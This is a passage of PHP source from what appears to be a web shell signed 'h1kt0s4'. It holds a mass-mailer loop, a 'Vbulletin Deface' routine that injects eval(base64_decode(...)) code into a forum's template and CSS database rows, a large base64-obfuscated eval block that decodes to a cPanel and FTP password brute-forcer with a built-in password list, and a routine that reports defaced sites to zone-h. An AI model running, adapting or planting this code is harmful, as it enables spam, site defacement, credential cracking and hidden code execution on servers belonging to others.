die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++) { for($x=0; $x<$numemails; $x++) { $to = $allemails[$x]; if ($to) { $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to....."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "OK<br>"; flush(); } } } } echo " <html> <head> <style> BODY { FONT-FAMILY: Verdana; margin: 2; color: #cccccc; background-color: #000000; } sy { color:".$shellColor."; font-size:7pt; font-weight: bold; } #Box { color:".$shellColor."; font-size:14px; background-color:#000; font-weight:bold; } tr { BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid; color: #ffffff; } td { BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid; color: #cccccc; } .table1 { BORDER: 1px none; BACKGROUND-COLOR: #000000; color: #333333 } .td1 { BORDER: 1px none; color: #ffffff; font-style:normal; font-variant:normal; font-weight:normal; font-size:7pt; font-family:tahoma } .tr1 { BORDER: 1px none; color: #cccccc; } table { BORDER: #eeeeee outset; BACKGROUND-COLOR: #000000; color: #cccccc; } input { BORDER-RIGHT: ".$shellColor." 1px solid; BORDER-TOP: ".$shellColor." 1px solid; BORDER-LEFT: ".$shellColor." 1px solid; BORDER-BOTTOM: ".$shellColor." 1px solid; BACKGROUND-COLOR: #333333; font: 9pt tahoma; color: #ffffff; } select { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #000000; font: 9pt tahoma; color: #CCCCCC;; } submit { BORDER: 1px outset buttonhighlight; BACKGROUND-COLOR: #272727; width: 40%; color: #cccccc; } textarea { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #333333; color: #ffffff; } "; $shellColor = '#990000'; } if(isset($_GET['phpproxy'])) { cf("proxy.php",$phpproxy); $_POST['cmd'] == "proxy.php was created"; } if(isset($_GET['scriptt'])){echo $head; echo " <title>Vbulletin Deface

Vbulletin Deface

 

Host:      db_Name:
Username
:  password: 
"; $h4cker="[Edited] by h1kt0s4"; if (!empty($_POST['dbh']) && !empty($_POST['dbn']) && !empty($_POST['dbu']) && !empty($_POST['index'])) { $dbh = $_POST['dbh']; $dbn = $_POST['dbn']; $dbu = $_POST['dbu']; $dbp = $_POST['dbp']; $index=str_replace("\'","'",$index); $set_index = "{\${eval(base64_decode(\'".base64_encode($index); //$set_index .= base64_encode("eval ('$index');"); $set_index .= "\'))}}{\${exit()}}"; mysql_connect($dbh,$dbu,$dbp) or die(mysql_error()); mysql_select_db($dbn) or die(mysql_error()); $fatal1 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='spacer_open'"; $fatal2 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='FORUMHOME'"; $fatal3 = "UPDATE style SET css='".$set_index."".$h4cker."', stylevars='', csscolors='', editorstyles=''"; $result = mysql_query($fatal1) or die (mysql_error()); $result2 = mysql_query($fatal2) or die (mysql_error()); $result3 = mysql_query($fatal3) or die (mysql_error()); if ($result && $result2 && $result3) { echo "Ok .."; } } echo "
[ BACK ]
"; die();} # Footer if(isset($_GET['xp'])) { eval(base64_decode('aWYoJGF1dGggPT0gMSkgewppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8 IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsn UEhQX0FVVEhfUFcnXSkhPT0kcGFzcykKICAgewogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6 IEJhc2ljIHJlYWxtPSIwZGF5LmNvbSInKTsKICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRo b3JpemVkJyk7CiAgIGV4aXQoIjxiPldyb25nIHVzZXIgb3IgcGFzcyAhITwvYj4iKTsKICAgfQp9 CgokY29ubmVjdF90aW1lb3V0PTU7CnNldF90aW1lX2xpbWl0KDApOwokc3VibWl0PSRfUkVRVUVT VFsnc3VibWl0J107CiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107CiRwYXNzPSRfUkVRVUVTVFsn cGFzc3dvcmRzJ107CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTsKJGNyYWNrdHlwZT0kX1JF UVVFU1RbJ2NyYWNrdHlwZSddOwoKCmlmKCR0YXJnZXQgPT0gIiIpewokdGFyZ2V0ID0gImxvY2Fs aG9zdCI7Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5n dWFnZSIgY29udGVudD0iZW4tdXMiPgo8L2hlYWQ+Cjx0aXRsZT5DcGFuZWwgKyBGVFAgQ3JhY2tl cjwvdGl0bGU+Cjxib2R5IHRleHQ9IiMwMEZGMDAiIGJnY29sb3I9IiMwMDAwMDAiIHZsaW5rPSIj MDA4MDAwIiBsaW5rPSIjMDA4MDAwIiBhbGluaz0iIzAwODAwMCI+CjxkaXYgYWxpZ249ImNlbnRl ciI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDAi Pgo8dGFibGUgd2lkdGg9IjY3JSIgc3R5bGU9ImJvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBi YWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwIj4KPHRyPjx0ZCBhbGlnbj1j ZW50ZXI+CiA8Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT00IGNvbG9yPXllbGxvdz5DcGFu ZWwgKyBGVFAgQ3JhY2tlcjwvZm9udD4KPC90ZD48L3RyPgo8L3RhYmxlPgo8YnIgLz4KPD9waHAK ZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3Vy bF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpj dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgk Y2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBD VVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0Qs ICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VU LCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRk YXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgeyBwcmlu dCAiPGI+PGZvbnQgZmFjZT1cIlZlcmRhbmFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+Cjxm b250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAw MFwiPkNvbm5lY3Rpb24gVGltZW91dApQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAu PC9mb250PjwvZm9udD48L2I+PC9wPiI7ZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9 PSAwICl7CnByaW50ICI8dGFibGUgd2lkdGg9JzY3JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hl ZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz48dHI+ PHRkIGFsaWduPWNlbnRlcj48Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgY29sb3I9XCIjRkYwMDAw XCI+WytdPC9mb250Pjxmb250PgpDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgKDwvZm9u dD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udD4pIGFuZCBQYXNzd29y ZCAoPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9y PVwiIzAwODAwMFwiPik8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7fWN1cmxfY2xvc2Uo JGNoKTt9CmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7 CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDov LyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAx KTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1 cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRv cHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgk Y2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAo IGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5h XCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiPgo8Zm9udCBjb2xvcj1cIiNBQTAwMDBcIj5FcnJv ciA6PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5Db25uZWN0aW9uIFRpbWVvdXQKUGxl YXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLjwvZm9udD48L2ZvbnQ+PC9iPjwvcD4iO2V4 aXQ7fQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewpwcmludCAiPHRhYmxlIHdpZHRo PSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xv cjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQg ZmFjZT1cIlRhaG9tYVwiIGNvbG9yPVwiI0ZGMDAwMFwiPlsrXTwvZm9udD48Zm9udD4KQ3JhY2tp bmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1lICg8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+ JHVzZXI8L2ZvbnQ+PGZvbnQ+KSBhbmQgUGFzc3dvcmQgKDwvZm9udD48Zm9udCBjb2xvcj1cIiNG RjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4pPC9mb250PjwvYj48 L3RkPjwvdHI+PC90YWJsZT4iO31jdXJsX2Nsb3NlKCRjaCk7fQppZihpc3NldCgkc3VibWl0KSAm JiAhZW1wdHkoJHN1Ym1pdCkpewppZihlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSl7IHBy aW50ICI8cD48Zm9udCBmYWNlPVwiVGFob21hXCIgc2l6ZT1cIjJcIj48Yj48Zm9udCBjb2xvcj1c IiNGRjAwMDBcIj5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIG9yIFBhc3N3 b3JkIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9CmlmKGVtcHR5KCR1 c2VycykpeyBwcmludCAiPHA+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz48Yj48Zm9udCBj b2xvcj0nI0ZGMDAwMCc+RXJyb3IgOiA8L2ZvbnQ+UGxlYXNlIENoZWNrIFRoZSBVc2VycyBMaXN0 IEVudHJ5IC4gLiAuPC9iPjwvZm9udD48L3A+IjsgZXhpdDsgfQppZihlbXB0eSgkcGFzcykgKXsg cHJpbnQgIjxwPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNG RjAwMDAnPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgUGFzc3dvcmQgTGlzdCBFbnRy eSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH07CiR1c2VybGlzdD1leHBsb2RlKCJcbiIs JHVzZXJzKTsKJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7CnByaW50ICI8Yj48Zm9udCBm YWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwi Plt+XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRc IiBjb2xvcj1cIiNGRjAwMDBcIj4KQ3JhY2tpbmcgUHJvY2VzcyBTdGFydGVkLCBQbGVhc2UgV2Fp dCAuLi48L2ZvbnQ+PC9iPjxicj48YnI+IjsKZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7 CiRwdXJldXNlciA9IHRyaW0oJHVzZXIpOwpmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3Jk ICkgewokcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CmlmKCRjcmFja3R5cGUgPT0gImZ0cCIp ewpmdHBfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQp Owp9CmlmICgkY3JhY2t0eXBlID09ICJjcGFuZWwiKQp7CmNwYW5lbF9jaGVjaygkdGFyZ2V0LCRw dXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7Cn0KfQp9Cn0KPz48PwogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2VudGVyJ10pewplY2hvICI8Zm9y bSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6 IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0Mw QzBDMCc+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4g PGJyIC8+CiAgICAgICAgPHAgYWxpZ249J2NlbnRlcic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAn PgogICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPlNlcnZlcidzIElQPC9zcGFuPiA6 PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJz4KICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0nQXJp YWwnIGNvbG9yPScjQ0MwMDAwJz4KICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFy Z2V0JyBzaXplPScxNicgdmFsdWU9JHRhcmdldCBzdHlsZT0nYm9yZGVyOiAycHggZGFzaGVkICMx RDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPjwvZm9udD48 L2I+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPScjMDA4MDAw JyBmYWNlPSdUYWhvbWEnIHNpemU9JzInPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyA8L2ZvbnQ+PC9iPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0n Y2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzU1 JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAj MDAwMDAwOyBjb2xvcjojQzBDMEMwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRkIGFsaWduPSdjZW50ZXInPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8c3BhbiBsYW5nPSdlbi11cyc+PGZvbnQgY29sb3I9JyNGRjAwMDAnPjxiPlVzZXJuYW1l PC9iPjwvZm9udD48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPjxmb250IGNvbG9yPScjRkYwMDAwJz48Yj5Q YXNzd29yZDwvYj48L2ZvbnQ+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFi bGU+CgogICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4 dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4 IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMw Jz4iOwoKICAgICAgc3lzdGVtKCdscyAvdmFyL21haWwnKTsKCmVjaG8gIjwvdGV4dGFyZWE+PHRl eHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVy OiAycHggZGFzaGVkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiND MEMwQzAnPjEyMzEyM1xuMTIzNDU2XG4xMjM0NTY3XG4xMjM0NTY3OFxuMTIzNDU2Nzg5XG4xNTkx NTlcbjExMjIzM1xuMzMyMjExXG4xNDc4OTYzXG4xNDc4OTYzLlxuY3BhbmVsXG5wYXNzd29yZFxu dXNlclxucGFzc3dkXG5wYXNzd29yZHNcbjE1OTM1N1xuMzU3OTUxXG4xMTQ0NzdcbnBhc3NcblBh c3N3b3JkXG5QYXNzV29yZFxucGFzczQ0MzMyMjExXG5hc2RmcmV3cVxuYWRtaW5pXG5hZG1pbjEx MVxucWF3c2VkcmZcbjFxdzIzZXI0XG4xcWFzdzJcbnBhc3NhYXBcbjwvdGV4dGFyZWE+PGJyPgog ICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiPiA8Zm9udCBmb250 IGNvbG9yPScjRkYwMDAwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgR3Vlc3Mgb3B0aW9uczwvZm9udD48L2I+PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTog MTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz48c3BhbiBzdHlsZT0nZm9udC1zaXplOiA5 cHQ7Jz4mbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScgdmFsdWU9J2NwYW5lbCcgc3R5 bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L2ZvbnQ+PC9zcGFu PjwvZm9udD48Yj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcGFuZWw8L2ZvbnQ+PGZvbnQgc2l6ZT0n MicgY29sb3I9JyNjYzAwMDAnIGZhY2U9J1RhaG9tYSc+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZG RkZGRicgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgKDIwODIpPC9mb250PjwvYj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEn PjxiPiA8L2I+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvZm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5 bGU9J2ZvbnQtc2l6ZTogOXB0Oyc+PGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScg dmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+PC9mb250 Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBm YWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8L2ZvbnQ+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7Jz4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0nMicgZmFjZT0n VGFob21hJz5GdHAgPC9mb250PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRicgZmFjZT0nVGFob21hJz4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKDIxKTwvZm9u dD48L3NwYW4+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxvcHRpb24gdmFsdWU9J25h bWUnPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQn IHZhbHVlPScgICBDcmFjayBpdCAhICAgJyBuYW1lPSdzdWJtaXQnIHN0eWxlPSdjb2xvcjogI0ZG MDAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNr Z3JvdW5kLWNvbG9yOiAjMDAwMDAwJz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+ CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgogICAgPHAgYWxpZ249J2Nl bnRlcic+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KCiAgIjtkaWUoKTsKfQo/PgogPHRhYmxlIHdp ZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1j b2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+Cjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb3Jt IG1ldGhvZD1QT1NUIGFjdGlvbj0nJyBhbGlnbj1jZW50ZXI+PGJyIC8+PGlucHV0IHR5cGU9c3Vi bWl0IG5hbWU9ZW50ZXIgdmFsdWU9IiBFbnRlciAiIHN0eWxlPSdjb2xvcjogI0ZGMDAwMDsgZm9u dC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNrZ3JvdW5kLWNv bG9yOiAjMDAwMDAwJyAvPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48YnIgLz4K')); echo ''; die(); } if(isset($_GET['zone'])) { ob_start(); set_time_limit(0); error_reporting(0); echo 'h1kt0s4
name:=>


'; $defacer = $_POST['defacer']; $siteler = explode("\r\n",$_POST['siteler']); foreach($siteler as $yenisiteler){ $trim=trim($yenisiteler); $sil = ereg_replace("http","",$trim); $sil2 = ereg_replace("://","",$sil); $ekle = "http%3A%2F%2F$sil2"; $curl = curl_init(); $header[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $header[] = "Cache-Control: private, max-age=0"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 115"; $header[] = "Accept-Charset: ISO-8859-9,utf-8;q=0.7,*;q=0.7"; $header[] = "Accept-Language: tr-TR,tr;q=0.8,en-us;q=0.5,en;q=0.3"; $header[] = "Pragma: "; $git = "http://zone-h.org/notify/single"; curl_setopt($curl, CURLOPT_URL,$git); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)'); curl_setopt($curl, CURLOPT_HTTPHEADER, $header); curl_setopt($curl, CURLOPT_REFERER, 'http://zone-h.org/notify/single'); curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate'); curl_setopt($curl, CURLOPT_POST,1); curl_setopt($curl, CURLOPT_POSTFIELDS,"defacer=$defacer&domain1=$ekle&hackmode=30&reason=1"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 10); $exec = curl_exec($curl); if(! $exec==""){ echo '
Ok..
'; ob_flush(); flush(); } } echo ' h1kt0s4 shell